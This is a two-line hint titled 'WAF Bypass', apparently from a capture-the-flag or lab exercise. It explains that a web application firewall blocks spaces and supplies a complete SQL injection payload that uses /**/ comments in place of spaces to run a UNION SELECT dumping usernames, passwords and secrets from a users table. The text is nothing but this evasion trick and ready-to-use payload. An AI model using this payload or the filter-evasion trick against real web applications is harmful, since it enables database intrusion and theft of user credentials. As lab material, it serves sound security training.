WAF Bypass

Hint: WAF blocks spaces. Use /**/ to bypass. E.g. %'/**/UNION/**/SELECT/**/username,password,secret/**/FROM/**/users--